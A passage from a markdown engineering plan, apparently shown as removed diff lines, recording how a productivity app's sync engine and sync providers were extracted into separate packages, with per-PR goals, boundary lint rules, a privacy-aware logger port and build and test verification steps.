consumers. `OpType.SyncImport`, - `OpType.BackupImport`, and `OpType.Repair` remain in `@sp/sync-core` only as - host-defined compatibility strings. -- Vector-clock compare/merge/prune now lives in `@sp/sync-core`, with - `@sp/shared-schema` re-exporting it for existing client/server imports. -- `SyncLogger` exists for package and movable code. App-only orchestration - diagnostics intentionally still use `OpLog` where they remain app-side. -- `@sp/sync-core` has a Vitest package test runner and vector-clock tests. -- Generic gzip/base64 compression helpers now live in - `packages/sync-core/src/compression.ts`. The app-facing - `src/app/op-log/encryption/compression-handler.ts` shim preserves - `CompressError` / `DecompressError` wrapping and the default `OpLog` logger - adapter. -- PR 3b has generic conflict helpers in - `packages/sync-core/src/conflict-resolution.ts`: deep equality, identical - conflict detection, conflict-resolution suggestion, entity frontier - construction, clock-corruption comparison adjustment, pure LWW conflict - resolution planning, and local-DELETE-loses-to-remote-UPDATE payload - extraction/merge helpers. It also owns pure LWW resolution partitioning: - local/remote winner counts, remote-winner ops after host processing, - local-winner remote ops, rejected-op id buckets, local-win op collection, and - remote-winner affected entity-key calculation. The Angular - `ConflictResolutionService` delegates to these helpers while keeping app - orchestration, IndexedDB/apply flow, entity lookup, NgRx, dev-error wiring, - app action-type ownership, fallback logging, and operation creation app-side. -- PR 3b also has the pure full-state import vector-clock decision helper in - `packages/sync-core/src/sync-import-filter.ts`. The Angular - `SyncImportFilterService` still owns full-state operation classification, - latest import lookup from batch/store, IndexedDB access, conflict-dialog - signaling, and logging. -- `sync-errors.ts` now routes constructor diagnostics for additional-log - errors, JSON parse failures, and validation failures through the - privacy-aware `SyncLogger` adapter with safe metadata only. The error classes - still stay app-side because their recovery wording, provider diagnostics, and - `additionalLog` UI/reporting behavior are SP-specific. -- PR 4a is present with `packages/sync-core/src/ports.ts`. The package now - exports minimal contracts for operation application, action dispatch, - remote-apply windows, deferred local action flushing, archive side effects, - operation-store persistence, conflict UI, and sync configuration. The existing - Angular services satisfy these contracts app-side. Conflict UI and sync config - adapters remain app-side and are not used by package orchestration yet. -- PR 4b's current small helper set is present: remote-apply crash-safety - ordering, upload last-server-sequence planning, full-state snapshot upload - follow-up partitioning, download gap/full-state/encryption planning, and - file-snapshot hydration skip planning. Provider calls, encryption/decryption, - IndexedDB reads, UI, diagnostics, and result assembly remain app-side. -- PR 4c is present with `replayOperationBatch()` in `@sp/sync-core`. It owns - only the strict replay ordering around remote-apply windows, bulk dispatch, - the required event-loop yield, archive side-effect processing, post-sync - cooldown, and deferred local-action flushing. The Angular - `OperationApplierService` still owns NgRx action construction, - operation-to-action conversion, archive predicates, `remoteArchiveDataApplied`, - `Injector` usage, and diagnostics. -- Pre-P5 readiness cleanup is complete for this branch: movable core code no - longer depends on `OpLog`, generic prefix/error/compression helpers are - package-side with app-owned diagnostics, sync-core source comments were - rechecked for SP entity examples, and the core boundary grep was rerun with no - forbidden source imports. -- PR 5 has its package boundary: `packages/sync-providers/` exists with - tsup/Vitest scaffolding, root scripts, build-package wiring, the - `@sp/sync-providers` path alias, package-local generated-artifact ignores, - and ESLint restrictions that reject Angular, NgRx, app imports, - `@sp/shared-schema`, sync-core internals, and dynamic imports. -- Provider-neutral contracts now live in `@sp/sync-providers`: generic - string-ID provider contracts, operation-sync response types, file provider - response types, a credential-store port, and the local file-adapter port. The - app-side `provider.interface.ts` remains as the SP-narrowed compatibility - shim that specializes those contracts with `SyncProviderId` and - `PrivateCfgByProviderId`; the unused local `file-adapter.interface.ts` shim - was removed after app adapters switched to `@sp/sync-providers/file-based`. -- File-based sync envelope contracts now live in `@sp/sync-providers` with - generic host-owned state, compact-operation, and archive payload parameters. - The app-side `file-based-sync.types.ts` shim binds those generics to - `CompactOperation` and `ArchiveModel`. -- Dropbox PKCE code generation now lives in `@sp/sync-providers`, including - the existing WebCrypto-first and `hash-wasm` fallback behavior. The app-side - Dropbox helper path remains a compatibility re-export. -- Dropbox, WebDAV + Nextcloud, SuperSync, and LocalFile provider - implementations now live in `@sp/sync-providers`. App-side shims keep - `SyncProviderId`, OAuth routing, config UI, credential-store implementation, - response validators that depend on `@sp/shared-schema`, and the - Electron/SAF platform bridges app-side. - -The extraction sequence below is historical. Work through PR 7 is complete on -this branch; the only remaining work is the merge-level verification listed -above. - -## Historical Slice Notes - -The following sections preserve how the extraction landed and why the boundaries -were chosen. They are not a pending task list. - -## PR 1 - Thin First Slice (#7546) - -Stand up `packages/sync-core/` with pieces that are framework-agnostic and -mostly domain-agnostic. No behavior change. Establishes the import boundary and -the `@sp/sync-core` alias so later PRs work against a real package boundary. - -### Goals - -- Create `packages/sync-core/` mirroring the existing package shape. -- Move only generic primitives and helpers. -- Move only framework-agnostic code: no `@Injectable`, no `inject()`, no NgRx, - no Angular Material. -- Keep existing `src/app/op-log/` call sites working through stubs at the - original paths. -- Keep `ActionType`, provider constants, full-state payload wrappers, repair - payload shapes, and import reasons app-side. -- Avoid behavior changes. - -### Current Contents - -Source: `packages/sync-core/src/`. All exports come through `index.ts`. - -**Operation primitives** (`operation.types.ts`): - -- `OpType` enum. -- `Operation` with `actionType: string` and `entityType: string`. -- `OperationLogEntry`, `EntityConflict`, `ConflictResult`, `EntityChange`, - `MultiEntityPayload`. -- `VectorClock = Record`. -- `isMultiEntityPayload`, `extractActionPayload`. - -**Full-state op-type helper factory** (`full-state-op-types.ts`): - -- `createFullStateOpTypeHelpers(fullStateOpTypes)` returns the - host-owned `FULL_STATE_OP_TYPES` set and `isFullStateOpType` predicate. -- The package keeps deprecated SP compatibility exports for - `FULL_STATE_OP_TYPES` / `isFullStateOpType`, but reusable hosts should - instantiate their own helper instead of using those defaults. - -**LWW factory** (`lww-update-action-types.ts`): - -- `createLwwUpdateActionTypeHelpers(entityTypes)` returns - `LWW_UPDATE_ACTION_TYPES`, `isLwwUpdateActionType`, `getLwwEntityType`, and - `toLwwUpdateActionType`. -- The app instantiates it once with `ENTITY_TYPES`. - -**Apply types** (`apply.types.ts`): - -- `ApplyOperationsResult`, `ApplyOperationsOptions` over the lib's generic - `Operation`. - -**Utilities**: - -- `toEntityKey`, `parseEntityKey`. -- `SyncStateCorruptedError`. - -### App Stubs - -Each previously-public symbol path keeps working via thin shims: - -- `src/app/op-log/core/operation.types.ts` re-exports generic symbols and - redeclares SP-narrowed `Operation`, `OperationLogEntry`, `EntityChange`, - `EntityConflict`, `ConflictResult`, and `MultiEntityPayload`. It also - instantiates `createFullStateOpTypeHelpers()` with SP's full-state op strings. -- `src/app/op-log/core/types/apply.types.ts` redeclares app-narrowed apply - result/options types. -- `src/app/op-log/core/lww-update-action-types.ts` instantiates the LWW helper - factory with `ENTITY_TYPES`. -- `src/app/op-log/core/sync-state-corrupted.error.ts` re-exports from the - package. -- `src/app/op-log/util/entity-key.util.ts` delegates to the package while - preserving the app's `EntityType`-narrowed API. -- `src/app/op-log/core/action-types.enum.ts` stays full source in the app. -- `src/app/op-log/sync-providers/provider.const.ts` stays full source in the app. - -### PR 1 Follow-Ups Before Merge - -- Update the PR description if it still says `action-types.enum.ts` or - `provider.const.ts` moved into `@sp/sync-core`; the code correctly keeps them - app-side. -- Resolved in PR 3a: vector-clock ownership moved to `@sp/sync-core`, and - `packages/shared-schema` now compatibility-re-exports those algorithms from - `@sp/sync-core`. The forbidden direction remains - `@sp/sync-core -> @sp/shared-schema`. -- Resolved in follow-up: `FULL_STATE_OP_TYPES` is now app-configured via - `createFullStateOpTypeHelpers()`. - -### Verification - -1. `cd packages/sync-core && npx tsup` - package builds clean. -2. `npx tsc -p src/tsconfig.app.json --noEmit` - app type-checks. -3. `npm run checkFile` on every touched `.ts` file. -4. `npm test` or scoped op-log specs. -5. App boot plus manual sync smoke: sync round-trip, conflict round-trip, - encryption toggle. -6. SuperSync E2E when the branch is ready for merge. -7. Boundary check returns nothing: - - ```bash - grep -r "from '@angular\\|from '@ngrx\\|from '@sp/shared-schema\\|src/app" packages/sync-core/src/ - ``` - ---- - -## PR 2 - Boundary Guardrails, Entity Registry Types, Logger Port - -This replaces the original late ESLint PR. Boundary guardrails should land -immediately after the package exists. - -### Goals - -1. **Add package boundary enforcement.** Lint `packages/sync-core/**` and reject - imports from Angular, NgRx, `src/app`, and `@sp/shared-schema`. -2. **Entity registry as config.** Move abstract registry types into - `@sp/sync-core`; keep SP feature imports and registry construction in the app. -3. **Logger port.** Define a privacy-aware `SyncLogger` interface in - `@sp/sync-core` so moveable files can drop direct `OpLog` imports. - -### Implemented State - -Already present: - -- `eslint.config.js` has a `packages/sync-core/**/*.ts` override that rejects - Angular, NgRx, `src/app`, `@sp/shared-schema`, relative `shared-schema` - imports, and dynamic imports. -- `packages/sync-core/src/entity-registry.types.ts` defines structural - `EntityConfig` / `EntityRegistry` contracts and helper predicates. -- `src/app/op-log/core/entity-registry.ts` builds the SP registry app-side, - re-exports the core contracts, and provides `ENTITY_REGISTRY`. -- `SINGLETON_ENTITY_ID` remains app-side, which is correct while singleton - entity IDs are still an SP replay convention. -- `ConflictResolutionService` now uses the injected `ENTITY_REGISTRY`, proving - the DI-based registry path while keeping compatibility helpers available for - non-DI consumers. -- `packages/sync-core/src/sync-logger.ts` defines `SyncLogger`, - `NOOP_SYNC_LOGGER`, `SyncLogMeta`, `SyncLogError`, and `toSyncLogError()`. -- `packages/sync-core/src/sync-file-prefix.ts` defines - `createSyncFilePrefixHelpers()`. The app shim supplies - `REMOTE_FILE_CONTENT_PREFIX` and `InvalidFilePrefixError`, keeping SP storage - constants and diagnostics app-side while moving the generic parsing/formatting - logic behind a config boundary. -- `packages/sync-core/src/error.util.ts` defines `extractErrorMessage()` for - generic thrown-value message extraction. The app error module re-exports it - for compatibility while keeping SP/provider-specific error classes app-side. -- `src/app/op-log/core/errors/sync-errors.ts` now sends constructor diagnostics - through `SyncLogger` instead of direct raw `OpLog` calls. Logs retain IDs, - counts, paths, error names, and key summaries, but not validation payloads, - raw provider responses, JSON samples, or wrapped error messages. -- `src/app/op-log/core/sync-logger.adapter.ts` wires `SyncLogger` to `OpLog` - via the app-side `SYNC_LOGGER` injection token and the - `OP_LOG_SYNC_LOGGER` direct adapter. -- `EncryptAndCompressHandlerService` now accepts a `SyncLogger` constructor - argument and uses the app adapter by default, proving the direct-constructor - path for package-level classes without changing sync behavior. -- `op-log/encryption/compression-handler.ts` now routes compression failures - through `SyncLogger` + `toSyncLogError()` and logs only safe length metadata. -- A deliberate bad-import check was run with a temporary - `packages/sync-core/src/__boundary-check__.ts` importing `@angular/core`; - `npm run lint:file -- packages/sync-core/src/__boundary-check__.ts` failed on - `no-restricted-imports`, proving the boundary rule is active. - -Post-extraction PR 2 notes: - -- The compatibility `ENTITY_CONFIGS` singleton remains intentionally while - non-DI consumers still need it. -- `SyncLogger` routing was kept targeted to package and movable files. A broad - app-side `OpLog` refactor is outside the extraction scope. -- External PR text should describe the extraction as complete and treat - remaining provider E2E checks as merge verification. - -### Boundary Enforcement - -- `eslint.config.js` already lints `packages/sync-core/**`. -- The package override already has `no-restricted-imports` for: - - `@angular/*` - - `@ngrx/*` - - `@sp/shared-schema` - - `src/app/*` and relative app imports such as `../../src/app/*` -- Keep package exceptions explicit for packages that cannot yet be linted. -- `packages/sync-providers/**` now has the same boundary shape, with an - additional ban on sync-core internal import paths. It may import public - `@sp/sync-core` only. -- The rule was proved with a temporary `@angular/core` import under - `packages/sync-core/src/`; scoped lint failed as expected with - `no-restricted-imports`, and the file was removed. - -### Entity Registry Types - -Define `EntityConfig` / `EntityRegistry` types in -`@sp/sync-core/src/entity-registry.types.ts`, but make the shape reflect the -current registry, not a simplified example. - -Required storage patterns: - -```ts -type EntityStoragePattern = 'adapter' | 'singleton' | 'map' | 'array' | 'virtual'; -``` - -Guidelines: - -- Registry keys are `string`; the app narrows them to `EntityType`. -- Selectors are structural function types; the package must not import NgRx - selector types. -- Adapter support is structural, not `@ngrx/entity`-typed. Include only the - methods actually consumed by op-log code. -- Include `payloadKey`, `featureName`, `mapKey`, and `arrayKey` if current - consumers need them. -- Keep `SINGLETON_ENTITY_ID` generic if it remains engine-relevant; otherwise - keep it in the app. - -App-side state: - -- `src/app/op-log/core/entity-registry.ts` already exposes - `buildEntityRegistry()`. -- `ENTITY_REGISTRY` already exists as an app injection token. -- `ENTITY_CONFIGS` and helper functions still read a singleton registry for - compatibility. Keep that until services are deliberately ported to injected - registry dependencies, or migrate one low-risk consumer in PR 2 to prove the - token works. -- Keep all feature reducer/selector imports in the app. - -### Logger Port - -Define `SyncLogger` in the lib: - -```ts -export type SyncLogMeta = Record; - -export interface SyncLogError { - name: string; - code?: string | number; -} - -export interface SyncLogger { - log(message: string, meta?: SyncLogMeta): void; - error(message: string, error?: SyncLogError, meta?: SyncLogMeta): void; - err(message: string, error?: SyncLogError, meta?: SyncLogMeta): void; - normal(message: string, meta?: SyncLogMeta): void; - verbose(message: string, meta?: SyncLogMeta): void; - info(message: string, meta?: SyncLogMeta): void; - warn(message: string, meta?: SyncLogMeta): void; - critical(message: string, meta?: SyncLogMeta): void; - debug(message: string, meta?: SyncLogMeta): void; -} -``` - -Also provide `NOOP_SYNC_LOGGER` for tests and package defaults, plus -`toSyncLogError(error: unknown)` so adapters can preserve safe error identity -without passing arbitrary error objects into exportable logs. - -Keep both `error()` and `err()` initially because current movable code uses both -`OpLog` spellings. If a follow-up PR normalizes calls to one spelling, do that -explicitly in the same PR instead of silently shrinking the port surface. - -Privacy rule: logger metadata must not include full entities, operation payloads, -task titles, note text, raw provider responses, credentials, or encryption -material. IDs, counts, op IDs, action strings, entity types, and error names are -acceptable. - -App-side follow-up: - -- The app adapter lives in `src/app/op-log/core/sync-logger.adapter.ts` and - satisfies `SyncLogger` by forwarding only the safe port arguments to `OpLog`. -- Angular services should inject `SYNC_LOGGER`; package-level pure functions and - classes should receive a `SyncLogger` constructor/function argument. -- Convert only files being moved or made movable; a broad `OpLog` refactor is - unnecessary and risks changing log behavior. - -Initial candidate-file audit: - -- `op-log/encryption/encrypt-and-compress-handler.service.ts`: safe prefix and - flag metadata now goes through `SyncLogger`. -- `op-log/encryption/compression-handler.ts`: routes failures through - `SyncLogger` and preserves only safe counts such as input length. The generic - stream/base64 implementation now lives in `@sp/sync-core`; the app file is a - compatibility shim that keeps SP error classes and the default `OpLog` - adapter app-side. -- `op-log/core/errors/sync-errors.ts`: constructor diagnostics now route through - `SyncLogger` with safe metadata only. Generic `extractErrorMessage()` lives in - the package, but the error classes remain app-side because recovery messages, - provider diagnostics, and `additionalLog` UI/reporting behavior are still - SP-specific. -- `op-log/validation/validate-operation-payload.ts`: validation warnings now - route through `SyncLogger` with sanitized operation metadata plus payload - type/count summaries only; raw payload values and raw payload keys stay out of - exportable logs. -- `op-log/validation/auto-fix-typia-errors.ts`: Typia repair attempts and - applied fixes now route through `SyncLogger` with path/type/count metadata - only; raw invalid values, defaults, and full Typia error objects stay out of - exportable logs. -- `op-log/validation/repair-menu-tree.ts`: menu-tree repair logs now use - `SyncLogger` metadata for removed references/invalid nodes; raw node objects - and folder names stay out of exportable logs. -- `op-log/validation/validation-fn.ts`: schema validation failures now route - through `SyncLogger` with counts, paths, expected types, and data shape - summaries only; raw validation result data and invalid values stay out of - exportable logs. -- `op-log/validation/is-related-model-data-valid.ts` and the invalid-date - repair branch in `data-repair.ts`: cross-model validation and date repair - diagnostics now keep raw app state, titles, and corrupted date strings out of - exportable logs. -- `op-log/util/sync-file-prefix.ts`: now delegates to the package helper with - app-supplied prefix and error construction. The app-facing shim should remain - until consumers are deliberately switched to injected/configured helpers. - -### What This Unlocks - -After this PR, files blocked only by `OpLog` can move without creating a package -dependency on app logging: - -- `op-log/encryption/` -- `op-log/core/errors/sync-errors.ts` -- `op-log/util/sync-file-prefix.ts` - -### Verification - -- `npm run lint` proves package boundary rules are active. -- Add and revert one deliberately-bad package import to prove the rule fails. -- `npm run sync-core:build` proves the new exported contracts build. -- `npm test` for registry-related specs. -- App boot + sync round-trip. -- Manual log export flow: sync/encryption events still appear and do not expose - user content. - ---- - -## PR 3a - Vector-Clock Ownership and Package Test Harness - -Do this before moving more algorithms. Vector-clock parity is load-bearing for -sync correctness. - -Status: implemented on this branch. - -### Goals - -1. Pick the single source of truth for vector-clock compare/merge/prune logic. -2. Add a package test runner for `@sp/sync-core`. -3. Port existing vector-clock tests before changing call sites. - -### Preferred Direction - -Decide the dependency direction before PR 3a moves code. The preferred outcome -is that `@sp/sync-core` owns generic vector-clock algorithms: - -- `compareVectorClocks` -- `mergeVectorClocks` -- `limitVectorClockSize` -- `MAX_VECTOR_CLOCK_SIZE` -- validation/sanitization helpers if they are shared by client/server - -This is acceptable only if current server/shared consumers can depend on -`@sp/sync-core` without creating a bad package direction or build cycle. In that -case, update build order so `sync-core` is available before those consumers, or -make the server consume `@sp/sync-core` directly. - -If that dependency direction is awkward, create a tiny leaf package such as -`@sp/vector-clock` and have both `@sp/sync-core` and server/shared code consume -it. Do not make `@sp/sync-core` depend on `@sp/shared-schema`; the important -constraint is one implementation, not two copies. - -### Current Locations - -- Generic compare/merge/prune and `MAX_VECTOR_CLOCK_SIZE` live in - `packages/sync-core/src/vector-clock.ts`. -- `packages/shared-schema/src/vector-clock.ts` is a compatibility re-export from - `@sp/sync-core`. -- The client wrapper lives in `src/app/core/util/vector-clock.ts`; it adds - null/undefined handling, sanitization, logging, and pruning notifications. -- Server sanitization and sync types live in - `packages/super-sync-server/src/sync/sync.types.ts`; server conflict detection - and storage pruning consume the shared algorithms. -- Existing vector-clock package tests live in - `packages/sync-core/tests/vector-clock.spec.ts`. `shared-schema` keeps its - existing compatibility coverage through the re-export. - -PR 3a moved the algorithms and tests in one commit set to avoid client/server -drift. - -### Test Harness - -Implemented using the same Vitest shape as `packages/shared-schema`: - -- `packages/sync-core/vitest.config.ts` with Node environment and - `tests/**/*.spec.ts`. -- `test` and `test:watch` scripts in `packages/sync-core/package.json`. -- `vitest` as a `packages/sync-core` dev dependency. -- Root `sync-core:test` next to - `sync-core:build`. -- `packages/shared-schema/tests/vector-clock.spec.ts` ported to - `packages/sync-core/tests/vector-clock.spec.ts`. - -### Server Build Fallout - -Because `@sp/shared-schema` now depends on `@sp/sync-core`, all places that -currently copy, install, build, or pack only `shared-schema` must include -`sync-core` first: - -- `packages/shared-schema/package.json` depends on `@sp/sync-core`. -- `package.json` and `packages/build-packages.js` build `sync-core` before - `shared-schema`. -- `packages/super-sync-server/Dockerfile`. -- `packages/super-sync-server/Dockerfile.test`. -- Any CI workflow that installs only `packages/shared-schema` and - `packages/super-sync-server`. - -Keep `@sp/shared-schema` available to the server for schema/version/entity-type -contracts until those are separately decoupled. - -### Migration Notes - -- Preserve client null/undefined wrapper behavior exactly. -- Preserve `MAX_VECTOR_CLOCK_SIZE = 20`. -- Preserve server ordering: conflict detection first, pruning before storage. -- Replace the RxJS prune `Subject` with a callback/event hook at the package - boundary. -- Route logging through `SyncLogger`. - -### Verification - -- `npm run sync-core:build`. -- `npm run sync-core:test` once the root script exists. -- `cd packages/shared-schema && npm test` if shared-schema keeps re-exporting or - wrapping the moved algorithms. -- `cd packages/super-sync-server && npm test` for server parity. -- `npm run test:file src/app/core/util/vector-clock.spec.ts` for client wrapper - behavior. -- Docker verification for the changed server image paths: - `docker build -f packages/super-sync-server/Dockerfile.test .` at minimum, and - `docker build -f packages/super-sync-server/Dockerfile .` before merge when - image-build time is acceptable. -- Keep app wrapper specs for null/undefined handling, logging, sanitization, and - import compatibility. -- Boundary grep stays empty for `packages/sync-core/src/`. - ---- - -## PR 3b - Pure Algorithmic Core - -Move framework-agnostic, stateless sync algorithms. These should only need typed -inputs and the logger port. - -### Implemented State - -- `deepEqual`, `isIdenticalConflict`, `suggestConflictResolution`, - `buildEntityFrontier`, `adjustForClockCorruption`, and - `planLwwConflictResolutions` live in `@sp/sync-core` with package-level - Vitest coverage. -- `classifyOpAgainstSyncImport` lives in `@sp/sync-core` and owns only the - vector-clock keep/invalidate decision for an op against the latest full-state - import. It returns the raw comparison plus a reason so app logging stays - unchanged. -- Local DELETE losing to remote UPDATE conversion now delegates to - `extractEntityFromPayload`, `extractUpdateChanges`, and - `convertLocalDeleteRemoteUpdatesToLww` in `@sp/sync-core`. The app supplies - payload-key resolution, LWW action-type conversion, singleton-id handling, - and fallback warning logging. -- `ConflictResolutionService` keeps compatibility wrappers/call sites and - passes the app `SyncLogger` adapter into package helpers. It also supplies - the app-owned archive action predicate to LWW planning and creates - archive/local-win operations app-side. -- Pure remote/local operation partitioning now lives in `@sp/sync-core`; - NgRx state lookup and operation creation stay in the app. -- `SyncImportFilterService` still owns full-state op detection, latest import - selection from current batch/local store, IndexedDB access, local unsynced - import detection, and all `OpLog` messages. -- Generic gzip/base64 compression helpers live in `@sp/sync-core` with - package-level Vitest coverage. The app shim keeps `CompressError`, - `DecompressError`, truncated-file recovery wording, and `OpLog` adapter - defaults app-side. - -### What Moves - -- Conflict detection and LWW resolution algorithms from - `op-log/sync/conflict-resolution.service.ts`. -- Filtering/partitioning helpers that operate on `OperationLogEntry[]`. -- Pure op merge helpers currently scattered across `remote-ops-processing.service.ts` - and `operation-log-sync.service.ts`. -- Pure operation payload validation from `op-log/validation/`, as long as it - does not import app schemas or NgRx selectors. -- Remaining encryption utilities once their app diagnostics and runtime - dependencies are split. Generic compression is already package-side behind the - `SyncLogger` port and host error factories. -- `sync-errors.ts` and `sync-file-prefix.ts` if they are generic after - logger/config cleanup. - -### What Stays App-Side - -- Anything that calls `Store.dispatch()` or `Store.select()`. -- `OperationLogStoreService` and IndexedDB implementation details. -- UI services: dialogs, snacks, Angular Material. -- Effects, meta-reducers, and `LOCAL_ACTIONS` wiring. -- App schema validation tied to SP model shape. -- Full-state payload wrappers and SP repair payloads. - -### Verification - -- Package test suite for moved algorithms. -- Full app `npm test` for integration through stubs. -- Boundary grep stays empty. -- Manual sync round-trip, encryption toggle, and conflict scenario. - ---- - -## PR 4a - Port Contracts Only - -Introduce orchestration ports without moving the orchestrators yet. This reduces -the risk of the later service moves. - -Status: implemented for the current branch slice. `@sp/sync-core` exports the -first minimal replay/storage port contracts, and these app services now -explicitly satisfy them: - -- `OperationApplierService` implements `OperationApplyPort` and uses - `ActionDispatchPort` for its NgRx dispatch seam. -- `HydrationStateService` implements `RemoteApplyWindowPort`. -- `OperationLogEffects` implements `DeferredLocalActionsPort`. -- `ArchiveOperationHandler` implements `ArchiveSideEffectPort`. -- `OperationLogStoreService` implements - `OperationStorePort`. - -`ConflictUiPort` and `SyncConfigPort` are also exported and satisfied by -app-side services: - -- `SyncImportConflictDialogService` implements - `ConflictUiPort` for the sync-import conflict - dialog while keeping its app-specific `SyncImportConflictData` API. -- `GlobalConfigService` implements `SyncConfigPort` by exposing the current - `selectSyncConfig` snapshot without leaking NgRx selectors into - `@sp/sync-core`. - -These adapters are intentionally not used by package orchestration yet. - -This is contract-only: NgRx dispatch, hydration windows, archive IndexedDB -handling, and deferred local action processing remain app-side. - -App-side adapter specs now exercise the first port set through the sync-core -types: - -- `OperationApplyPort` and `ActionDispatchPort` coverage in - `operation-applier.service.spec.ts`, including action/meta identity, bulk - operation reference preservation, dispatch-yield-before-archive ordering, - remote cooldown/end-window/deferred flush ordering, and local hydration - close-window/deferred flush behavior. -- `RemoteApplyWindowPort` coverage in `hydration-state.service.spec.ts`. -- `ArchiveSideEffectPort` coverage in - `archive-operation-handler.service.spec.ts`. -- `DeferredLocalActionsPort` coverage in `operation-log.effects.spec.ts`. -- `OperationStorePort` coverage in `operation-log-store.service.spec.ts`. - -### Ports - -- `OperationStorePort` - abstract over op-log persistence. Method names use - `Operation` / `OperationLogEntry` only. -- `ActionDispatchPort` - abstract over dispatching replay actions. Takes generic - action objects and must preserve `meta` exactly. -- `RemoteApplyWindowPort` - abstracts `HydrationStateService` behavior: start - remote apply, end remote apply, post-sync cooldown. -- `DeferredLocalActionsPort` - abstracts - `OperationLogEffects.processDeferredActions()`. -- `ArchiveSideEffectPort` - abstracts archive-specific IndexedDB handling for - remote operations. -- `ConflictUiPort` - app dialog/snack adapter. Reasons are strings at the - package boundary. -- `SyncConfigPort` - app adapter around NgRx config selectors. Provider IDs are - strings at the package boundary. -- `RepairPort` only if truly needed, and with generic shapes. - -### Why Split This Out - -`OperationApplierService` is not just replay logic. It currently coordinates: - -- bulk NgRx dispatch, -- the required event-loop yield after dispatch, -- remote apply windows and cooldowns, -- archive side effects, -- `remoteArchiveDataApplied`, -- deferred local action processing. - -Those behaviors should first be represented as ports and tested while the -service remains app-side. - -### Verification - -- Adapter specs prove app services satisfy the ports. -- Existing app sync specs still pass. -- Add contract tests for action `meta` preservation and bulk-dispatch yield - behavior. - ---- - -## PR 4b - Move Small Orchestration Units Behind Ports - -Move only orchestration code whose dependencies are already represented by ports -and whose behavior can be tested without Angular. - -Status: implemented for the current branch slice. `@sp/sync-core` now exports -`applyRemoteOperations()` plus the narrow `RemoteOperationApplyStorePort`. -`RemoteOpsProcessingService.applyNonConflictingOps()` delegates the generic -remote-apply crash-safety ordering to that coordinator: - -1. append incoming remote ops as pending while atomically skipping duplicates; -2. apply only newly appended ops through `OperationApplyPort`; -3. mark applied seqs; -4. merge applied remote vector clocks; -5. clear older full-state ops after a newer applied full-state op lands; -6. mark the failed op and remaining unapplied ops as failed on partial apply - errors. - -The Angular service still owns app diagnostics, validation/session latching, -snack notifications, conflict detection, NgRx dispatch construction, and the -IndexedDB implementation. - -The package also owns small upload-planning helpers used by -`OperationLogUploadService`: - -- `planRegularOpsAfterFullStateUpload()` partitions regular ops into - already-covered-by-snapshot vs still-needs-upload buckets after a full-state - snapshot upload. -- `planUploadLastServerSeqUpdate()` keeps last-server-sequence persistence - monotonic while preserving the "has more piggyback" follow-up download - behavior. - -Provider calls, encryption/decryption, snapshot upload, error handling, app -logging, and persistence remain app-side. - -Download-side planning is also limited to pure decisions: - -- `planDownloadGapReset()` allows one gap reset per download session. -- `planDownloadFullStateUpload()` decides when an empty remote needs a - full-state upload and when the app should query synced-op history. -- `planDownloadedDataEncryptionState()` derives the "server has only - unencrypted data" flag. -- `planSnapshotHydration()` decides when a file-based snapshot can be skipped - because the local vector clock already equals or dominates the snapshot clock. - -Provider pagination, snapshot handling, decryption, clock drift warnings, -IndexedDB reads, and result assembly remain app-side. - -### Candidate Moves - -- Upload batching/retry logic from `OperationLogUploadService` if provider and - store access are ported. -- Remote op processing state machine if applying, marking, and validation are all - ports. -- Pure parts of download/upload decision logic. - -### Keep App-Side Until Proven Safe - -- The Angular `OperationApplierService` shell. -- `bulkApplyOperations` action and meta-reducer wiring. -- `HydrationStateService` implementation. -- `ArchiveOperationHandler` implementation. -- Effects using `inject(LOCAL_ACTIONS)`. -- UI-coupled conflict/import/download services. - -### Verification - -- Package orchestration tests. -- App adapter tests. -- Full app unit tests. -- SuperSync scenarios focused on concurrency, fresh-client bootstrap, server - migration, and import conflicts. - ---- - -## PR 4c - Revisit `OperationApplierService` - -Only after 4a/4b are stable, decide whether any part of -`OperationApplierService` belongs in `@sp/sync-core`. - -Status: implemented for the current branch slice. The extracted part is the -narrow `replayOperationBatch()` coordinator in `packages/sync-core/src/replay-coordinator.ts`. -It is intentionally generic and calls host-supplied ports/callbacks in a strict -order: - -1. open the remote-apply window; -2. dispatch the host-created bulk replay action; -3. yield after dispatch so host reducers finish before side effects; -4. run remote archive side effects after dispatch when configured; -5. yield around archive side effects to preserve UI responsiveness; -6. start post-sync cooldown before ending the remote-apply window; -7. end the remote-apply window and flush deferred local actions. - -Package-level Vitest coverage now asserts dispatch-yield ordering, local -hydration behavior, archive failure reporting, archive notification timing, -cooldown failure handling, and empty-batch no-op behavior. - -The Angular `OperationApplierService` delegates to this coordinator but keeps -all app-specific work app-side: `bulkApplyOperations`, `convertOpToAction`, -`isArchiveAffectingAction`, `remoteArchiveDataApplied`, `Injector` access to -`OperationLogEffects`, and `OpLog` diagnostics. - -Acceptable extraction: - -- a small generic replay coordinator that calls ports in a strict order; -- contract tests for yielding, failure reporting, archive side-effect ordering, - and deferred-action flush timing. - -Likely app-side permanently: - -- NgRx action construction and `bulkApplyOperations`, -- Angular `Injector` usage, -- `remoteArchiveDataApplied`, -- hydration-state implementation, -- archive handler implementation. - -Hard requirements from `CLAUDE.md`: - -- remote operations must not trigger normal effects; -- selector-based effects must remain guarded by the sync window; -- bulk dispatch must yield after the dispatch; -- remote archive side effects must still run; -- deferred local actions must be processed after remote apply finishes. - ---- - -## Pre-P5 Readiness Check - -Status: complete for this branch. - -- No remaining pre-P5 `SyncLogger` routing is needed in core: files already made - movable either live in `@sp/sync-core` without app logging, accept a - `SyncLogger` port, or stay app-side because their diagnostics/recovery - behavior is still SP-specific. -- `sync-file-prefix`, generic error-message extraction, and gzip/base64 - compression helpers are package-side behind host-owned configuration/error - factories. -- `OperationApplierService` logging remains app-side intentionally; the moved - replay coordinator has no logging dependency. -- Provider-specific logging and credential diagnostics were handled during PR 5 - as those files moved to `@sp/sync-providers`. -- Boundary verification was rerun for `packages/sync-core/src` and found no - forbidden Angular, NgRx, `src/app`, or `@sp/shared-schema` imports. - ---- - -## PR 5 - Lift Providers Into `@sp/sync-providers` - -Pull bundled providers out of `src/app/op-log/sync-providers/` so engine, -providers, and app wiring each live in their own package. - -### What Moves - -- `op-log/sync-providers/super-sync/` -- `op-log/sync-providers/file-based/dropbox/` -- `op-log/sync-providers/file-based/webdav/` including Nextcloud-specific code -- `op-log/sync-providers/file-based/local-file/`, with Electron APIs behind an - app-provided port -- provider registry/factory logic that does not read NgRx state directly - -### What Stays App-Side - -- `SyncProviderId` and bundled provider lists. -- Credential-store Angular service implementation. -- OAuth callback routing. -- Provider config UI/dialogs. -- Electron bridge implementation. -- Any code reading `selectSyncConfig` directly. - -### Provider Package Rules - -- Provider IDs inside the package are string constants, not the app's - 